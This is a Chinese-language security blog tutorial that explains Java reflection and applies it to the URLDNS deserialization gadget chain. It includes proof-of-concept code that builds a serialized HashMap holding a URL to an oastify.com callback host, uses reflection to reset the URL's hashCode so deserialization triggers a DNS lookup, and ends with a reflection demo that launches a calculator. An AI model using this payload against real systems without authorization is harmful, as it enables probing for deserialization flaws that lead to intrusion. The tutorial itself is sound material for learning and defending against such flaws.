avatar

cindahy

A text-focused Halo theme

  • 首页
  • 文章分类
  • 项目
  • 关于
Home Java反序列化基础2——java反射+URLDNS链
文章

Java反序列化基础2——java反射+URLDNS链

Posted 2025-08-11 Updated 2025-08- 12
By Administrator
22~28 min read

参考文章

谈谈Java反射:从入门到实践,再到原理

Java反序列化基础篇-02-Java反射与URLDNS链分析

Java反序列化漏洞专题-基础篇(21/09/05更新类加载部分)

在前一篇文章中我们已经已经总结了java反序列化的分析思路并且简单分析了URLDNS链,但由于缺乏java反射的知识,最后的poc还没有搞出来

继承Serializable
入口类source:(重写readObject 调用常见的函数 参数类型宽泛 最好jdk自带)例如Map类
调用链 gadget chain 相同名称,相同类型
执行类sink (rce ssrf文件等等)最重要 比如exec这种函数

反射理解

Java的反射机制是指再运行状态中,对于任意一个类都能够知道这个类所有的属性和方法;并且对于任意一个对象,都能够调用它的任意一个方法;这种动态获取信息以及动态调用对象方法的功能称为Java语言的反射机制。

看一下代码

正射:

我们在编写代码时,当需要使用到某一个类的时候,都会先了解这个类是做什么的。然后实例化这个类,接着用实例化好的对象进行操作,这就是正射。

Student student = new Student();
student.doHomework("数学");

反射:

反射就是,一开始并不知道我们要初始化的类对象是什么,自然也无法使用 new 关键字来创建对象了

 Class clazz = Class.forName("reflection.Student");
 Method method = clazz.getMethod("doHomework", String.class);
 Constructor constructor = clazz.getConstructor();
 Object object = constructor.newInstance();
 method.invoke(object, "语文");

以上两段代码,执行效果是一样的。

但是,其实实现的过程还是有很大的差别的:

  • 第一段代码在未运行前就已经知道了要运行的类是Student;

  • 第二段代码则是到整个程序运行的时候,从字符串reflection.Student,才知道要操作的类是Student。

总结:

反射就是在运行时才知道要操作的类是什么,并且可以在运行时获取类的完整构造,并调用对应的方法。

java反射的作用是什么?

给作为静态语言的java赋予动态特性,比如说:改变已有对象的属性,动态生成对象,动态调用方法,操作内部类和私用方法。

Java Class对象理解

首先 RTTI(Run-Time Type Identification)运行时类型识别,其作用是在运行时识别一个对象的类型和类的信息。

Java是如何让我们在运行时识别对象和类的信息的?

主要有两种方式:

  • 传统的RRTI,它假定我们在编译时已经知道了所有类型

  • 反射机制,它允许我们在运行时发现和使用类的信息

我们程序在运行的时候会编译生成一个 .class 文件,而这个 .class 文件中的内容就是相对应的类的所有信息

Java反射使用方法

  • 获取类:forName

  • 实例化类对象:newInstance

  • 获取函数:getMethod

  • 执行函数:invoke

java反射就是操作Class

实例化对象

先有它的原型再调用它的方法

获取class对象

获取方式

示例

特点

对象.getClass()

person.getClass()

获取对象运行时类型(考虑继承和多态)

类名.class

Person.class

获取编译时类型,不触发类加载

Class.forName()

Class.forName("Person")

通过全限定名获取,会触发类加载

使用Constructor.newInstance实例化对象

有参构造

Class c=person.getClass();
Constructor personconstructor= c.getConstructor(String.class,int.class);
Person p=(Person) personconstructor.newInstance("abc",22);

无参构造

Class<?> clazz = Class.forName("com.example.MyClass");
Constructor<?> constructor = clazz.getConstructor();
Object instance = constructor.newInstance();

获取类里面属性(Field)

获取成员变量Field位于 java.lang.reflect.Field 包中

  • Field[] getFields() :获取所有 public 修饰的成员变量

  • Field[] getDeclaredFields() 获取所有的成员变量,不考虑修饰符

  • Field getField(String name) 获取指定名称的 public 修饰的成员变量

  • Field getDeclaredField(String name) 获取指定的成员变量

调用类里面的方法

第一个参数是传参,第二个参数是确定重载的是哪个函数

Method getMethod(String name, 类<?>... parameterTypes) //返回该类所声明的public方法

Method getDeclaredMethod(String name, 类<?>... parameterTypes) //返回该类所声明的所有方法

//第一个参数获取该方法的名字,第二个参数获取标识该方法的参数类型

Method[] getMethods() //获取所有的public方法,包括类自身声明的public方法,父类中的public方法、实现的接口方法

Method[] getDeclaredMethods() // 获取该类中的所有方法

完整示例

package org.example;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class TestReflection {
    public static  void main(String args[]) throws InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException {
        Person person=new Person();
        Class c=person.getClass();
        //反射就是操作Class
        //从原型class中实例化对象
        //c.newInstance();
        Constructor personconstructor= c.getConstructor(String.class,int.class);
        Person p=(Person) personconstructor.newInstance("abc",22);
        System.out.println(p);


        //获取类里面属性
        Field[] personfields=c.getFields();
        for(Field f:personfields){
            System.out.println(f);
        }
        //调用类里面的方法
//        Method[] personmehods=c.getMethods();
//        for (Method m:personmehods){
//            System.out.println(m);
//        }

        Method actionmethod=c.getMethod("action",String.class);
        actionmethod.invoke(p,"dasgjfasgh");

    }
}

URLDNS链

先 回顾一下上次留下的问题

 public static void main(String[] args) throws Exception{
        Person person = new Person("aa",22);
        HashMap<URL,Integer> hashmap=new HashMap<URL,Integer>();
     //这里不要发送请求   
     hashmap.put(new URL("http://7v3spzdbjo1uiz4h1b0013qufllb90.oastify.com"),1);
     //这里要把hashcode改回-1   
     //通过反射改变一个已有对象的属性
     HashMap a=new HashMap<>();
        //System.out.println(person);
        serialize(hashmap);
    }

这里的问题是再序列化的过程中由于使用了hashmap.put这个方法会调用hashcode触发dns,并且会改变hashcode的值,使其不为-1,从而让反序列时不能输出dns

public static void main(String[] args) throws Exception{
        Person person = new Person("aa",22);
        HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
        // 这里不要发起请求
        URL url = new URL("http://8dmp5g4lqv4ojwh0g0cesf8sijoacz.oastify.com");
        Class c = url.getClass();
        Field hashcodefile = c.getDeclaredField("hashCode");
        hashcodefile.setAccessible(true);
        hashcodefile.set(url,1234);
        hashmap.put(url,1);
        // 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性
        hashcodefile.set(url,-1);
        serialize(hashmap);
    }

利用反射弹计算器


public class ReflectCalculator {
    public static void main(String[] args) throws Exception {
        // 获取Desktop类的getDesktop方法
        Method getDesktop = Class.forName("java.awt.Desktop")
                .getMethod("getDesktop");
        // 调用静态方法获取Desktop实例
        Object desktop = getDesktop.invoke(null);
        // 获取browse方法并调用打开计算器
        desktop.getClass()
                .getMethod("browse", java.net.URI.class)
                .invoke(desktop, new java.net.URI("calc"));
    }
}

java反序列化
java反序列化
License:  CC BY 4.0
Share

Further Reading

Oct 9, 2025

Java反序列化-RMI的几种攻击方式

RMI的基本攻击方式 RMI Client打RMI Registry RMI Client打RMI Server RMI Client 打RMI Registry 与注册中心的交互主要是这句话 Naming.bind("rmi://127.0.0.1:1099/sayHello", new Remo

Sep 28, 2025

Java反序列化-RMI流程分析

概述 官方文档:https://docs.oracle.com/javase/tutorial/rmi/overview.html RMI应用程序通常由两个独立的程序组成,一个服务器和一个客户端。服务端通过绑定这个远程对象类,它可以封装网络操作。客户端层面上只需要传递一个名字,还有地址。RMI提供了

Sep 21, 2025

Shiro反序列化漏洞-Shiro550

环境搭建 tomcat8.5.81 JDK1.7下载地址 https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html 下载shrio对应的war包 https://github.com/jas502n/

OLDER

javaspring项目利用

NEWER

Java反序列化基础1

Recently Updated

  • 常见安全产品整理(防火墙,WAF,EDR)
  • ELK从入门到实践
  • bp+mumu模拟器app抓包
  • xray漏扫工具
  • Java反序列化-RMI的几种攻击方式

Trending Tags

安全运营 文件上传 php反序列化 xss csrf ssrf xxe sql php 白帽子讲web安全

Contents

©2025 cindahy. Some rights reserved.

Using the Halo theme Chirpy